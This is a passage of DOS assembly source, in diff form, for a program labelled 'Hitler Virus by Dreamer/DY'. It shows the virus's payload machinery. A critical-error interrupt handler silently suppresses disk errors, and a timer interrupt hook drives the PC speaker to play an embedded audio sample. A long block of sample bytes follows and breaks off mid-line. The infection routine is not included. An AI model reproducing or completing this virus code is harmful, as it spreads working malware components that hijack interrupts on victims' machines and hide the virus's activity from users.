+ +errflag db 0 + +db 'Hitler Virus by Dreamer/DY',0 + +ni24: mov al,3 + mov cs:errflag,1 + iret + +old24 dw 0,0 + +xofs dw offset sample +len equ 4131 +divisor equ 230 +teller dw 16380 + +ni1C: + cli + pushf + push ax + push ds + push si + + push cs + pop ds + + cmp teller,0 + je teller_ok + dec teller + jmp noreset +teller_ok: + mov al,34h + db 0E6h,43h ;out 43h,al + mov al,divisor + db 0E6h,40h ;out 40h,al + mov al,0 + db 0E6h,40h ;out 40h,al + + mov al,090h + db 0E6h,43h ;out 43h,al + mov si,xofs + lodsb + db 0E6h,42h ;out 42h,al + + db 0E4h,61h ;in al,61h + or al,3 + db 0E6h,61h ;out al,61h + + inc xofs + cmp xofs,len+offset sample + jb noreset + mov xofs,offset sample +noreset: + sti + pop si + pop ds + pop ax + popf + + db 0EAh +old1C dw 0,0 + +normalspeed: cli + push ax + mov al,34h + db 0E6h,43h + mov al,0 + db 0E6h,40h + db 0E6h,40h + pop ax + sti + ret + +sample: + + + + + db 080h,080h,080h,080h,080h,081h,080h,081h,081h,081h,081h,081h,083h + db 083h,083h,083h,083h,083h,083h,083h,083h,083h,081h,081h,081h,081h + db 080h,080h,080h,080h,080h,080h,080h,080h,080h,080h,065h,000h,000h + db 075h,08Ah,084h,083h,083h,089h,081h,081h,081h,07Ah,079h,07Ch,07Ah + db 07Bh,07Ch,07Fh,07Ah,078h,079h,07Fh,07Bh,07Fh,07Dh,07Bh,07Ah,07Fh + db 083h,08Ah,08Ch,088h,08Ah,085h,083h,089h,08Bh,080h,082h,07Fh,081h + db 07Fh,082h,081h,08Bh,07Ah,074h,07Ch,07Eh,080h,07Fh,07Fh,083h,07Fh + db 084h,082h,083h,080h,083h,081h,07Dh,07Eh,080h,083h,083h,07Dh,079h + db 07Fh,084h,080h,07Bh,07Dh,07Fh,07Fh,07Ch,07Ah,07Dh,083h,081h,07Fh + db 082h,080h,07Bh,07Fh,08Ah,08Bh,086h,085h,086h,083h,089h,089h,086h + db 084h,07Dh,07Ch,07Eh,085h,086h,085h,086h,083h,081h,088h,087h,080h + db 07Dh,081h,083h,081h,080h,07Ch,07Eh,076h,075h,07Bh,07Ah,075h,072h + db 075h,06Fh,074h,07Eh,080h,07Fh,07Fh,07Fh,083h,087h,085h,084h,08Ah + db 08Bh,086h,087h,08Ah,08Ah,08Ah,081h,081h,089h,084h,081h,07Ch,086h + db 083h,084h,082h,07Fh,082h,07Fh,087h,086h,082h,080h,076h,07Ch,07Bh + db 07Bh,082h,07Dh,07Eh,07Ah,07Fh,07Eh,085h,084h,082h,084h,07Eh,088h + db 07Fh,088h,07Eh,07Fh,07Dh,077h,07Ch,075h,07Dh,078h,07Bh,079h,07Fh + db 080h,084h,088h,081h,083h,087h,084h,087h,082h,089h,08Bh,08Fh,08Dh + db 08Bh,087h,080h,083h,081h,08Ch,07Ah,082h,076h,07Fh,07Bh,07Ah,07Ah + db 07Ch,077h,072h,077h,07Ch,07Fh,080h,07Eh,07Bh,07Dh,07Ah,080h,07Ch + db 07Eh,076h,082h,082h,08Dh,089h,084h,085h,085h,086h,087h,089h,086h + db 085h,08Ch,087h,090h,085h,07Ch,082h,083h,087h,07Ch,088h,07Bh,074h + db 091h,085h,09Bh,086h,086h,070h,076h,079h,08Dh,080h,06Bh,063h,069h + db 07Dh,067h,04Ch,081h,07Ah,0ABh,0A8h,09Ch,08Eh,060h,056h,07Fh,088h + db 089h,075h,094h,08Ch,013h,092h,040h,0D7h,0B0h,097h,0C4h,036h,057h + db 082h,0CBh,0C5h,09Dh,0C8h,00Dh,0A5h,026h,0A7h,072h,06Bh,0E0h,032h + db 089h,07Ah,0A7h,0E4h,0D7h,048h,07Fh,034h,07Bh,054h,06Fh,0B6h,02Bh + db 06Ah,055h,0ABh,0C0h,032h,09Fh,074h,06Fh,0A4h,043h,0B6h,040h,087h + db 090h,095h,0FFh,060h,015h,074h,039h,0E0h,044h,0D7h,080h,027h,0C9h + db 070h,0E7h,0F8h,025h,0AEh,009h,0ABh,050h,067h,0ACh,01Ch,0E3h,068h + db 09Fh,0FFh,02Fh,0CEh,014h,09Fh,080h,023h,0C4h,056h,0D3h,075h,0AFh + db 0F4h,035h,0A8h,000h,077h,040h,000h,09Ch,05Bh,0BBh,078h,0EBh,0D4h + db 07Fh,0A8h,007h,0BDh,032h,04Dh,092h,087h,0D4h,08Dh,0FFh,070h,0D7h + db 04Ch,06Bh,08Ch,01Ah,08Fh,078h,092h,087h,0CFh,0E8h,06Fh,0A0h,000h + db 0A5h,01Ch,007h,069h,073h,0B0h,07Fh,0FFh,068h,0D1h,028h,067h,070h + db 009h,09Bh,05Ch,0BFh,06Ch,0DFh,0A0h,09Fh,080h,01Bh,0A0h,020h,077h + db 082h,08Bh,0A8h,0A7h,0F0h,077h,0C8h,011h,0BAh,044h,033h,0B0h,069h + db 0B2h,08Eh,0FFh,068h,0DAh,018h,06Fh,060h,00Dh,0BAh,053h,0AFh,06Eh + db 0D7h,0B0h,07Fh,080h,00Ah,0B2h,020h,055h,080h,05Dh,098h,09Bh,0C0h + db 07Fh,094h,009h,0AFh,032h,05Bh,080h,05Ah,093h,093h,0FFh,071h,0DCh + db 030h,07Fh,080h,01Fh,0BBh,074h,0F2h,079h,0E7h,074h,0DFh,050h,03Fh + db 0A2h,02Ch,0B7h,070h,06Dh,072h,0AFh,0F0h,05Ah,0A2h,000h,095h,032h + db 01Fh,094h,06Bh,0E0h,054h,0F6h,059h,0E3h,048h,05Fh,0A0h,033h,0BFh + db 074h,073h,070h,0E7h,0A0h,06Bh,074h,000h,0A1h,024h,027h,065h,08Dh + db 097h,0BBh,0FFh,06Ah,0E2h,04Ah,07Fh,084h,003h,087h,04Fh,0CDh,075h + db 0E5h,0B8h,09Dh,0A8h,019h,0C2h,048h,047h,0A0h,05Ch,071h,077h,0FFh + db 068h,06Bh,074h,00Fh,0BBh,010h,077h,048h,087h,0A4h,087h,0FCh,07Dh + db 0F0h,040h,0C7h,082h,047h,0B8h,04Ah,099h,05Eh,0DBh,082h,087h,058h + db 000h,098h,020h,06Fh,072h,06Fh,0A8h,083h,0FFh,059h,0E5h,052h,067h + db 0AAh,028h,0B9h,03Fh,0C6h,05Ch,0AFh,0C0h,087h,0A0h,00Eh,0BBh,04Ah + db 08Fh,080h,03Fh,078h,064h,0FFh,068h,093h,068h,01Fh,0B6h,020h,092h + db 04Bh,0B7h,08Ah,095h,0D8h,08Bh,0C0h,021h,0C7h,06Ah,07Fh,09Ch,067h + db 085h,04Eh,0FFh,070h,09Fh,050h,000h,0ADh,021h,08Fh,058h,0BFh,084h + db 075h,0E0h,06Fh,0D0h,014h,0ABh,074h,077h,0B8h,046h,096h,056h,0EFh + db 098h,07Fh,098h,000h,0A3h,038h,05Fh,070h,06Fh,0A4h,04Bh,0E4h,054h + db 0D9h,040h,06Fh,098h,05Dh,0C2h,051h,095h,054h,095h,0DCh,06Fh,0B8h + db 000h,06Fh,068h,03Fh,0A0h,057h,0E0h,049h,0DDh,084h,0C7h,074h,025h + db 0D8h,05Bh,0E6h,04Ch,08Fh,068h,03Fh,0E8h,04Ah,0CFh,032h,033h,0A0h + db 039h,0C2h,040h,0D7h,05Ch,09Bh,0A0h,087h,098h,029h,0D5h,070h,09Fh + db 082h,07Bh,084h,03Dh,0D5h,068h,0BDh,02Ch,01Bh,0A8h,040h,0BDh,054h + db 0B3h,062h,04Fh,0D6h,064h,0D4h,039h,05Fh,098h,06Fh,0C8h,03Ah,0B1h + db 04Eh,06Fh,0A4h,07Fh,0AAh,011h,097h,06Ah,09Bh,094h,049h,0C0h,045h + db 0AFh,080h,09Dh,098h,022h,0BFh,062h,0BDh,065h,047h,0B0h,040h,0BFh + db 070h,0ADh,070h,01Dh,0C9h,067h,089h,06Ch,07Fh,0D0h,060h,0BFh,072h + db 09Bh,080h,000h,08Dh,052h,0ABh,064h,055h,0DAh,078h,0CBh,0A8h,0AFh + db 080h,016h,09Fh,062h,0AFh,04Ch,03Dh,0C0h,062h,05Fh,0C8h,05Bh,0CEh + db 024h,01Bh,084h,06Bh,08Ch,060h,0BFh,0A4h,09Dh,0FFh,060h,0BCh,01Ah + db 000h,0B0h,066h,0CCh,054h,073h,0D8h,085h,09Bh,0C8h,055h,0C2h,020h + db 001h,072h,056h,069h,07Ch,0AAh,0A8h,07Bh,0AFh,080h,087h,090h,018h + db 065h,071h,065h,0C2h,095h,0DAh,0B1h,09Ch,0C5h,08Ah,07Bh,080h,03Dh + db 044h,051h,05Fh,06Ah,075h,089h,07Eh,082h,083h,080h,06Eh,064h,062h + db 066h,075h,083h,08Bh,0A2h,0A6h,0A9h,0BAh,08Bh,091h,076h,07Bh,07Eh + db 069h,07Bh,064h,06Dh,080h,075h,079h,06Ah,077h,07Ah,071h,078h,06Fh + db 082h,07Ah,083h,090h,088h,07Ch,07Dh,088h,085h,089h,08Ah,085h,083h + db 091h,086h,089h,085h,079h,07Fh,07Bh,083h,07Eh,077h,078h,083h,07Fh + db 082h,08Bh,076h,079h,075h,07Fh,090h,074h,079h,075h,077h,072h,085h + db 084h,076h,07Eh,074h,07Dh,07Eh,07Ah,080h,080h,07Fh,077h,07Eh,07Ah + db 080h,080h,07Fh,088h,07Ch,084h,07Fh,07Fh,080h,081h,07Eh,079h,08Ah + db 087h,086h,083h,08Dh,086h,07Ch,08Ch,07Ah,07Bh,073h,087h,098h,082h + db 083h,07Dh,083h,07Ch,075h,083h,06Dh,077h,073h,085h,085h,072h,07Ch + db 077h,082h,07Ah,07Ch,075h,06Bh,06Ch,073h,082h,073h,075h,07Eh,074h + db 081h,087h,08Dh,088h,080h,075h,07Fh,08Dh,083h,097h,084h,081h,083h + db 085h,080h,078h,07Dh,078h,07Fh,082h,087h,08Ch,078h,082h,081h,086h + db 082h,07Dh,081h,07Bh,074h,078h,084h,078h,084h,080h,07Eh,079h,075h + db 079h,072h,081h,07Dh,08Bh,07Eh,07Bh,086h,082h,086h,07Fh,07Eh,077h + db 076h,084h,07Eh,080h,074h,077h,07Fh,090h,08Ch,085h,07Ah,062h,06Ah + db 080h,08Ch,08Dh,07Eh,072h,07Bh,082h,089h,095h,08Ah,06Fh,07Ah,083h + db 082h,083h,07Bh,077h,07Ah,079h,082h,07Dh,06Eh,077h,06Eh,082h,07Eh + db 088h,07Dh,07Fh,078h,071h,081h,075h,07Ch,086h,07Fh,086h,07Eh,085h + db 081h,086h,087h,08Dh,08Ah,076h,07Ah,07Ah,086h,085h,08Ah,086h,085h + db 07Dh,077h,078h,06Eh,07Fh,07Ah,07Dh,07Eh,074h,083h,079h,088h,07Ah + db 084h,078h,073h,081h,079h,086h,083h,081h,07Fh,082h,094h,080h,080h + db 06Eh,069h,07Ch,078h,07Eh,07Bh,07Ch,072h,086h,090h,086h,07Dh,079h + db 07Eh,084h,08Bh,07Eh,080h,080h,072h,090h,088h,07Ch,079h,076h,07Bh + db 07Fh,086h,07Ah,081h,07Dh,07Dh,08Ah,07Ah,080h,070h,075h,07Eh,079h + db 085h,073h,076h,075h,087h,087h,088h,084h,07Ch,07Ah,076h,077h,07Bh + db 079h,083h,07Bh,081h,07Dh,07Ch,07Fh,080h,081h,07Fh,08Ah,082h,082h + db 08Ch,082h,086h,086h,08Ah,083h,080h,071h,073h,07Fh,077h,084h,087h + db 081h,07Bh,07Fh,07Fh,087h,086h,079h,083h,077h,087h,07Ch,07Ch,07Ch + db 075h,082h,071h,076h,07Ch,076h,079h,079h,082h,070h,080h,07Ah,081h + db 087h,084h,07Ah,070h,07Dh,06Fh,082h,084h,07Eh,081h,07Bh,07Dh,07Fh + db 08Fh,07Dh,07Ch,084h,07Eh,07Bh,086h,088h,07Eh,08Fh,089h,075h,08Ah + db 07Dh,079h,07Dh,080h,079h,07Fh,086h,077h,078h,07Dh,06Eh,08Dh,07Fh + db 074h,076h,07Eh,078h,078h,08Dh,079h,07Eh,082h,07Eh,080h,087h,079h + db 076h,082h,074h,07Eh,081h,06Eh,074h,081h,082h,081h,092h,07Bh,07Fh + db 08Fh,08Ah,08Bh,07Ch,070h,074h,08Fh,07Eh,084h,084h,06Fh,075h,07Ah + db 08Eh,07Bh,07Ch,078h,078h,083h,086h,08Eh,07Eh,082h,070h,07Dh,08Dh + db 078h,07Bh,06Fh,077h,076h,087h,085h,074h,079h,077h,07Dh,085h,084h + db 06Bh,07Eh,07Eh,077h,086h,088h,079h,07Dh,091h,07Bh,081h,09Bh,073h + db 080h,07Bh,07Bh,090h,084h,070h,07Bh,08Ah,078h,07Fh,081h,071h,07Fh + db 082h,080h,074h,081h,07Bh,06Dh,07Fh,070h,078h,089h,07Ch,077h,089h + db 08Ah,07Fh,086h,07Eh,072h,081h,073h,068h,07Fh,082h,073h,085h,08Ah + db 086h,09Eh,093h,07Bh,081h,086h,069h,07Dh,086h,06Ch,07Fh,088h,088h + db 08Fh,09Ch,08Ch,079h,086h,074h,067h,06Dh,064h,069h,077h,07Fh,084h + db 09Fh,085h,08Dh,09Bh,074h,071h,06Ch,05Dh,062h,07Dh,06Dh,073h,086h + db 090h,091h,097h,092h,07Ah,079h,07Ch,061h,06Dh,076h,073h,070h,088h + db 090h,094h,09Bh,09Bh,094h,078h,077h,078h,060h,05Dh,069h,07Bh,087h + db 090h,09Fh,09Dh,09Fh,0A1h,080h,076h,068h,053h,04Bh,066h,072h,072h + db 086h,099h,097h,0A2h,0ADh,082h,06Ah,064h,05Ah,053h,061h,06Ah,067h + db 08Ah,0ABh,0ADh,0ACh,09Bh,0A5h,060h,067h,066h,059h,056h,06Fh,093h + db 08Fh,0BFh,0A8h,08Eh,0AFh,0AAh,044h,04Fh,070h,041h,057h,08Dh,084h + db 07Dh,0D1h,094h,07Eh,0BEh,088h,02Dh,06Ah,070h,038h,07Bh,0ABh,063h + db 0AFh,0A0h,068h,075h,0CDh,064h,013h,087h,068h,02Fh,0ABh,0B4h,037h + db 097h,0E0h,050h,097h,0F8h,022h,063h,0D4h,02Ah,07Dh,0E6h,038h,02Fh + db 0F9h,080h,047h,0E7h,0DAh,010h,07Fh,084h,034h,0B7h,0B0h,01Dh,035h + db 0D7h,0C0h,04Fh,0A1h,0B2h,002h,06Fh,0DEh,014h,087h,040h,001h,077h + db 0FFh,0A0h,032h,0BDh,0E2h,05Bh,0D7h,0C0h,000h,095h,02Ah,000h,0A7h + db 0C8h,02Ch,057h,0AEh,0C4h,09Fh,0E2h,030h,03Bh,0DCh,04Ah,02Fh,0FCh + db 084h,03Ah,0A5h,0D3h,094h,0BBh,0D8h,020h,07Fh,0A0h,018h,033h,0FFh + db 06Ch,009h,0A7h,0E2h,03Ah,0AFh,08Ah,000h,087h,068h,020h,09Fh,0D0h + db 040h,05Bh,0FFh,088h,03Fh,0D5h,01Ch,027h,0A0h,036h,04Fh,0FFh,0A8h + db 042h,0EFh,0D0h,05Eh,0F3h,0A0h,000h,05Bh,045h,03Dh,0F5h,0B4h,01Eh + db 057h,0FFh,060h,087h,0DCh,000h,007h,084h,04Ch,07Dh,0FFh,071h,02Dh + db 0FFh,0C4h,037h,0CFh,064h,000h,06Fh,038h,03Dh,0FFh,0C0h,034h,09Bh + db 0FFh,054h,0A3h,0C2h,000h,05Fh,050h,01Ah,09Fh,0FFh,050h,03Fh,0FFh + db 08Ch,073h,0F7h,034h,000h,07Ah,048h,073h,0FFh,080h,029h,0EFh,0D8h + db 02Eh,0ABh,068h,000h,08Dh,036h,028h,0F3h,0D8h,044h,08Fh,0FFh,04Ah + db 0AFh,0DAh,000h,02Bh,030h,03Fh,0D3h,0E8h,05Ah,07Fh,0FFh,068h,097h + db 0E2h,000h,00Bh,021h,03Fh,0A7h,0FFh,06Ch,063h,0FFh,078h,073h,0DFh + db 050h,000h,000h,04Dh,09Fh,0FFh,082h,033h,0E7h,0C0h,059h,0AFh,098h + db 000h,02Bh,03Fh,062h,0F1h,0A6h,073h,0DFh,0FFh,040h,08Bh,0D0h,000h + db 000h,017h,05Fh,0FDh,0FFh,058h,08Fh,0FFh,06Dh,0B7h,0ECh,008h,000h + db 027h,07Bh,0C6h,0D2h,075h,097h,0FFh,060h,076h,0C8h,018h,000h,000h + db 065h,0AFh,0FFh,096h,073h,0FFh,088h,07Fh,0DAh,040h,000h,000h,07Bh + db 09Fh,0E0h,082h,069h,0FFh,0D4h,05Fh,066h,080h,000h,027h,049h,062h + db 09Dh,0AAh,099h,0FFh,0F8h,038h,096h,0D4h,000h,000h,027h,077h,0FFh + db 0FCh,068h,09Fh,0FFh,065h,0AFh,0D8h,000h,000h,02Fh,09Ah,07Fh,088h + db 06Dh,0CFh,0FFh,062h,06Dh,0B1h,028h,000h,019h,065h,0BFh,0F4h,062h + db 08Bh,0FFh,084h,077h,0EBh,054h,000h,000h,05Dh,0AFh,0FFh,08Ah,057h + db 0FFh,068h,069h,0ABh,084h,000h,000h,065h,099h,0FFh,09Ch,05Bh,0EFh + db 0E4h,09Dh,093h,09Ah,000h,000h,07Fh,093h,08Eh,089h,06Ch,0E5h,0FFh + db 05Dh,074h,0CFh,038h,000h,023h,079h,09Bh,0DEh,091h,0AFh,0FFh,05Ch + db 073h,0A7h,084h,000h,000h,046h,09Fh,0FFh,080h,053h,0DFh,0E4h,077h + db 08Ah,0B8h,000h,000h,06Bh,089h,0A4h,084h,085h,0BFh,0FFh,050h,02Bh + db 0C7h,068h,000h,00Fh,055h,0B5h,0FFh,0D0h,014h,0CFh,084h,059h,0DDh + db 0C0h,000h,000h,08Fh,0B6h,0CBh,09Ah,050h,0D7h,0FFh,026h,055h,0A2h + db 008h,000h,03Bh,06Ch,08Ah,0D3h,094h,083h,0FFh,082h,091h,0E7h,060h + db 000h,00Ch,095h,082h,09Ch,0B3h,07Ah,0E7h,0FEh,028h,059h,0D7h,058h + db 000h,001h,03Fh,0BFh,0FFh,078h,063h,0FFh,086h,0B3h,0FFh,040h,000h + db 000h,06Dh,08Fh,0D9h,0A1h,060h,0B3h,0D2h,0C7h,074h,048h,000h,045h + db 04Bh,03Bh,097h,0B8h,0A2h,0D3h,0FFh,064h,071h,0CEh,004h,00Bh,01Bh + db 052h,07Bh,0C1h,0F6h,0A4h,0C5h,0C0h,065h,072h,0C6h,000h,000h,00Ah + db 03Fh,0DFh,0FFh,058h,06Bh,0FAh,044h,0A7h,0FFh,028h,000h,03Bh,0BDh + db 0FAh,0FFh,088h,07Bh,0FFh,058h,062h,057h,060h,000h,000h,043h,08Bh + db 0FFh,098h,06Ah,0E7h,0D0h,062h,08Ah,0B0h,000h,005h,05Fh,0B5h,0B2h + db 0A4h,072h,0D7h,0FFh,038h,087h,088h,01Ch,027h,053h,06Ah,09Dh,0FFh + db 070h,075h,0FDh,048h,063h,0C5h,080h,000h,015h,06Bh,0B7h,0FFh,084h + db 048h,0A7h,0E0h,061h,0B3h,088h,000h,031h,03Eh,062h,09Bh,0ECh,058h + db 05Bh,0FFh,054h,06Bh,0B5h,0A0h,000h,000h,061h,091h,0FFh,090h,043h + db 0EFh,0B8h,09Ah,09Fh,0A8h,000h,027h,031h,05Bh,09Ch,0BAh,0B0h,0BFh + db 0F5h,04Ah,07Fh,0E5h,042h,000h,000h,056h,0BBh,0FFh,090h,03Fh,0FFh + db 090h,0BFh,0D7h,094h,000h,000h,05Fh,08Eh,0FFh,080h,04Eh,0A5h,0D8h + db 07Fh,064h,094h,000h,000h,03Bh,088h,074h,068h,0BFh,0FBh,0FFh,04Ah + db 05Fh,0A5h,092h,015h,000h,01Fh,07Bh,0FFh,0FFh,052h,0DFh,050h,09Fh + db 0D3h,0C0h,000h,000h,053h,08Dh,0FFh,098h,036h,087h,0D4h,08Bh,06Dh + db 0B4h,000h,000h,035h,07Dh,0CBh,0F8h,0BAh,074h,0FFh,078h,075h,09Ah + db 050h,000h,000h,0AEh,082h,073h,0A6h,0B0h,0FFh,0C8h,03Bh,052h,099h + db 032h,000h,023h,044h,07Fh,0FFh,0FFh,058h,087h,046h,07Bh,0F3h,0CAh + db 000h,000h,05Fh,0CAh,0FFh,0FEh,024h,077h,0B8h,039h,076h,0B4h,00Eh + db 000h,02Bh,08Eh,0ABh,0FFh,070h,063h,0FFh,080h,09Ch,0BBh,054h,000h + db 00Fh,06Ah,0A5h,0D6h,09Ah,099h,0DDh,0D4h,056h,067h,094h,000h,000h + db 01Dh,066h,0BBh,0FFh,070h,067h,0D0h,06Fh,096h,0DEh,048h,000h,036h + db 06Fh,09Ah,0FFh,070h,027h,0C9h,056h,06Ch,08Fh,084h,000h,023h,057h + db 086h,0FFh,0F4h,080h,04Fh,0F5h,06Eh,082h,0C9h,020h,000h,003h,05Bh + db 099h,0FFh,0C0h,03Ch,0EBh,080h,08Fh,09Dh,0A8h,006h,00Eh,056h,077h + db 0DFh,0FFh,060h,07Fh,0B0h,06Eh,062h,0CEh,01Ah,017h,047h,05Dh,085h + db 0FFh,0FFh,040h,097h,05Ah,05Eh,06Fh,0B4h,000h,037h,050h,07Fh,0ABh + db 0FFh,0D8h,000h,0A7h,040h,047h,07Fh,08Ch,01Ch,023h,06Dh,080h,0C7h + db 0FFh,080h,019h,0D2h,030h,056h,09Fh,070h,018h,02Dh,086h,0A8h,0FFh + db 0FFh,070h,08Fh,0A0h,03Ch,018h,09Fh,070h,00Ah,053h,095h,099h,0FFh + db 0FFh,044h,08Bh,088h,02Dh,00Fh,0ADh,044h,006h,067h,0A2h,085h,0EBh + db 0FFh,030h,04Fh,094h,013h,000h,0BBh,035h,037h,083h,08Ch,093h,0FFh + db 0FFh,040h,06Dh,0A8h,023h,027h,0AFh,034h,047h,072h,092h,07Fh,0EBh + db 0FFh,054h,04Bh,0C0h,039h,044h,09Dh,054h,055h,075h,0C6h,084h,096h + db 0FFh,0A0h,033h,0BFh,04Ch,02Ch,056h,08Ah,055h,087h,0B3h,062h,051h + db 0C7h,0DCh,02Eh,08Fh,094h,020h,02Ah,07Dh,06Eh,0BDh,0ACh,06Ch,04Ch + db 0A3h,0FFh,080h,03Eh,0B3h,030h,02Ah,04Dh,08Eh,04Dh,095h,0A3h,06Ch + db 057h,0AFh,0FFh,060h,05Bh,0D5h,032h,04Fh,06Fh,064h,05Eh,0CDh,0A0h + db 03Ah,06Fh,0CDh,0C0h,04Ah,082h,0DBh,02Ch,06Dh,04Bh,04Eh,087h,0B8h + db 06Bh,058h,07Fh,09Eh,0CCh,072h,073h,0D5h,030h,06Fh,067h,048h,05Bh + db 0BAh,09Ch,058h,07Dh,099h,0D4h,094h,06Ch,0C3h,04Ch,079h,03Eh,025h + db 06Bh,0D4h,078h,072h,07Bh,07Ah,0BBh,0C1h,04Ah,08Bh,088h,02Bh,058h + db 034h,046h,0DDh,09Ah,080h,072h,06Ch,08Fh,0FFh,070h,013h,0B1h,030h + db 086h,055h,05Fh,0C7h,0B4h,082h,075h,087h,08Dh,0FFh,078h,000h,0A7h + db 058h,07Bh,070h,03Ah,05Bh,0BCh,08Eh,0A8h,0ACh,034h,08Fh,0D8h,028h + db 05Bh,0E0h,028h,07Fh,059h,029h,0ABh,0CCh,064h,06Bh,080h,049h,0AFh + db 0D0h,023h,07Fh,0B0h,00Eh,089h,061h,02Fh,0B7h,0B2h,070h,092h,088h + db 06Fh,0EFh,090h,023h,09Bh,0B4h,035h,08Ch,03Dh,03Fh,0D3h,094h,08Bh + db 0C7h,060h,03Bh,0B9h,082h,069h,0CFh,0A0h,027h,084h,02Ah,04Bh,0EFh + db 08Ch,07Eh,08Ch,050h,05Fh,0E3h,079h,04Fh,0AFh,078h,01Bh,081h,02Ch + db 03Dh,0D3h,078h,077h,0B3h,066h,055h,0BFh,082h,069h,0B2h,0A8h,025h + db 08Ah,035h,043h,0D3h,09Ch,07Bh,09Bh,05Ah,03Dh,0AFh,0C6h,07Fh,077h + db 07Fh,062h,06Ah,096h,05Dh,073h,0AAh,06Ah,08Ch,08Ah,054h,04Fh,08Eh + db 0AAh,07Bh,06Fh,09Ch,070h,05Dh,084h,056h,07Fh,0C5h,085h,073h,060h + db 05Ah,071h,0C3h,0A8h,050h,056h,064h,071h,087h,0ACh,04Bh,071h,088h + db 074h,0A4h,08Bh,085h,069h,072h,0A9h,090h,067h,07Ch,0A8h,038h,07Fh + db 088h,05Bh,07Fh,0A5h,06Ah,073h,0B9h,05Bh,056h,0B2h,05Ah,042h,0A2h + db 0CCh,044h,037h,079h,055h,073h,0E2h,0A5h,06Bh,091h,062h,056h,0B7h + db 0ACh,051h,05Fh,0A1h,090h,02Eh,0A3h,07Eh,045h,09Fh,0A2h,07Ch,095h + db 08Ah,070h,067h,0AEh,074h,055h,0A7h,0DBh,018h,033h,066h,06Ch,07Bh + db 0C3h,090h,049h,07Dh,093h,076h,0B3h,0B0h,041h,046h,0A3h,08Dh,02Ah + db 08Fh,075h,046h,087h,0B2h,07Bh,07Eh,091h,06Eh,071h,09Fh,08Ah,069h + db 070h,092h,08Ah,04Fh,096h,090h,056h,07Dh,090h,084h,07Dh,0A1h,086h + db 066h,084h,08Bh,073h,081h,080h,084h,072h,089h,082h,06Bh,06Eh,07Fh + db 080h,077h,079h,095h,091h,059h,059h,081h,070h,069h,08Bh,08Eh,088h + db 059h,07Ch,06Dh,097h,083h,06Eh,07Fh,087h,093h,087h,078h,05Ch,078h + db 098h,07Eh,077h,08Fh,097h,062h,067h,080h,066h,07Eh,0A1h,07Ah,07Dh + db 089h,095h,078h,055h,073h,092h,08Ch,077h,07Dh,096h,092h,04Ah,05Fh + db 06Eh,087h,092h,08Ch,082h,085h,092h,078h,058h,06Ch,092h,073h,073h + db 086h,08Eh,07Fh,05Eh,04Ah,06Ch,073h,092h,0A0h,07Eh,090h,097h,08Bh + db 073h,070h,078h,089h,089h,075h,079h,08Fh,08Eh,07Ah,040h,05Fh,07Ch + db 086h,085h,0A2h,0A9h,084h,07Fh,075h,05Ch,073h,09Ch,076h,061h,07Fh + db 079h,075h,092h,082h,031h,069h,086h,076h,09Fh,0B1h,07Eh,073h,092h + db 06Bh,067h,097h,087h,074h,078h,07Ah,085h,099h,065h,067h,088h,054h + db 069h,085h,084h,087h,0A3h,08Ch,078h,09Fh,086h,053h,067h,07Ch,068h + db 075h,092h,078h,072h,07Ch,062h,07Dh,0AFh,090h,06Bh,07Ch,06Eh,068h + db 08Fh,0A0h,078h,06Ah,072h,075h,08Dh,08Ch,07Eh,089h,072h,054h,072h + db 08Bh,089h,07Fh,072h,06Bh,08Ah,0A2h,089h,08Fh,085h,066h,071h,093h + db 088h,074h,078h,06Dh,070h,08Ah,088h,089h,08Dh,072h,06Bh,080h,078h + db 079h,070h,069h,06Ch,07Ch,08Bh,082h,08Bh,078h,06Ah,087h,081h,07Eh + db 08Eh,070h,05Fh,079h,085h,07Fh,087h,07Ah,05Fh,08Ah,0A4h,076h,079h + db 080h,06Ah,069h,075h,07Eh,093h,0A5h,081h,072h,088h,088h,085h,090h + db 078h,060h,071h,07Bh,07Fh,084h,07Ah,068h,07Ah,08Ch,07Fh,07Ah,070h + db 068h,076h,07Ch,077h,093h,0A2h,080h,086h,07Dh,07Bh,083h,08Eh,068h + db 064h,074h,06Eh,077h,097h,074h,068h,080h,080h,071h,08Bh,07Ch,059h + db 079h,08Ah,074h,099h,09Ch,066h,07Fh,0A6h,07Fh,08Fh,0A0h,056h,06Dh + db 0A2h,06Ch,07Dh,09Dh,060h,05Fh,098h,072h,063h,097h,088h,048h,07Dh + db 085h,069h,0A3h,088h,04Eh,063h,09Fh,091h,077h,08Ch,074h,042h,085h + db 09Ch,06Ch,095h,066h,051h,08Fh,0CFh,07Ah,073h,09Ah,080h,065h,097h + db 080h,05Ah,081h,04Ch,04Ah,09Eh,09Ch,074h,07Fh,083h,086h,097h,09Ah + db 069h,07Fh,08Ch,060h,06Fh,0A0h,077h,06Eh,08Ch,08Eh,07Dh,083h,083h + db 064h,07Ah,074h,05Eh,079h,09Fh,07Ah,063h,083h,092h,069h,091h,088h + db 052h,075h,070h,069h,08Fh,0A0h,06Bh,074h,0ABh,08Eh,062h,08Dh,066h + db 063h,08Ah,071h,07Bh,0BBh,098h,068h,087h,0A4h,077h,097h,08Ch,044h + db 056h,069h,071h,0A7h,094h,05Dh,05Eh,0A4h,07Ch,077h,08Eh,05Ch,04Dh + db 07Eh,074h,07Bh,0ACh,078h,059h,0A3h,0A4h,060h,082h,084h,049h,075h + db 081h,07Eh,0ADh,0A5h,071h,07Fh,0BAh,074h,071h,084h,04Ah,05Bh,073h + db 071h,087h,0ADh,07Ch,062h,0ADh,093h,073h,097h,06Ah,03Fh,070h,077h + db 07Bh,0B5h,088h,058h,08Bh,0A8h,061h,079h,080h,045h,06Eh,075h,071h + db 09Bh,0B2h,072h,06Bh,0B0h,080h,078h,096h,061h,042h,05Fh,073h,08Dh + db 0B4h,088h,068h,0A3h,096h,06Fh,08Dh,07Ch,04Ah,05Eh,06Ch,07Fh,0BBh + db 0A0h,070h,08Fh,0B0h,07Eh,07Fh,08Ah,040h,030h,063h,086h,0AFh,0ACh + db 066h,063h,0B3h,080h,07Ch,07Eh,04Ch,03Fh,059h,079h,096h,09Bh,084h + db 077h,0ADh,090h,071h,085h,080h,03Eh,041h,073h,093h,0D3h,0B2h,076h + db 091h,09Ah,083h,0A3h,090h,040h,038h,05Bh,08Ah,0A7h,088h,071h,086h + db 090h,06Bh,07Eh,083h,052h,043h,057h,08Bh,0BBh,0C0h,080h,07Fh,0AAh + db 068h,07Bh,094h,050h,030h,048h,076h,09Dh,0A6h,07Dh,072h,0A7h,07Ah + db 069h,07Ah,07Dh,054h,065h,06Ch,085h,0A9h,0AAh,095h,0B2h,09Ch,059h + db 089h,0A1h,04Ch,049h,060h,07Eh,0C3h,0C0h,080h,083h,0A9h,067h,07Bh + db 